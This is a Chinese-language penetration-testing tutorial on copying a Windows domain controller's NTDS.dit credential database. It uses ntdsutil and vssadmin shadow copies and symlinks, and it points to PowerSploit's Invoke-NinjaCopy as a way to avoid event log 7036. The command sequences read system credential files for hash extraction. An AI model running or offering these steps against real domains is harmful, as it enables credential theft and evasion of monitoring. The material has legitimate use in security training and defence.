域渗透-获得预控服务器的NTDS.dit

获得预控服务器的NTDS.dit

0x00 引言

本文总结出多种导出NTDS.dit文件的方法。为获取用户hash提供前提技术。

0x01 简介

本文主要内容:

  • 获取NTDS.dit 的不同方法
  • 比较各种方法的优缺点

0x02 通过卷影复制(Volume Shadow Copy Service)获取域控服务器的NTDS.dit文件

测试系统

  • window server 2008 R2
  • window server 2012 R2

Volume Shadow Copy Service

  • 用于数据备份
  • 支持Windows Server 2003 及以上操作系统
  • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
  • 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup

1、ntdsutil

域环境默认安装

支持系统

  • Server 2003

  • Server 2008 / 2008 R2

  • Server 2012 / 2012 R2

  • ······

1
2
3
4
5
6
7
8
9
10
11
12
# 查看当前快照
ntdsutil snapshot "List All" quit quit
# 查询已经挂载的快照列表
ntdsutil snapshot "List Mount" quit quit
# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
# 挂载快照
ntdsutil snapshot "mount GUID" quit quit
# 卸载快照
ntdsutil snapshot "unmount GUID" quit quit
# 删除快照
ntdsutil snapshot "delete GUID" quit quit

测试

1
2
3
4
5
6
7
# 创建快照会显示GUID 编号
ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

挂载后显示 C:\$SNAP_201908180645_VOLUMEC$\

# 复制
copy C:\$SNAP_201908180645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

2、vssadmin

域环境默认安装

支持系统

  • Server 2008 / 2008 R2

  • Server 2012 / 2012 R2

  • ······

常用命令

1
2
3
4
5
6
# 查询快照列表
vssadmin list shadows
# 创建快照
vssadmin create shadow /for=c:
# 删除快照
vssadmin delete shadows /for=c: /quiet

测试

1
2
3
4
5
6
# 创建快照
获得Shadow Copy Volume Name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit
# 删除快照
vssadmin delete shadows /for=c: /quiet

0x03 扩展

1、 日志文件

调用Volimn shadow Copy 服务会产生日志文件,位于System下,并存在Event ID。

Event Viewer –> windows Logs –> System

2、访问快照

vssadmin 创建的 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的文件无法直接访问.

可以通过创建符号链接访问快照中的文件。

1
2
# 创建链接
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
1
2
3
4
# 访问 
dir c:\testvsc
# 删除符号链接
rd c:\testvsc

利用思路:

如果当前系统存在快照文件,可对系统的历史文件进行访问

0x04 NinjiaCopy

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

没有调用Volume Shadow Copy服务,所以不会产生日志文件7036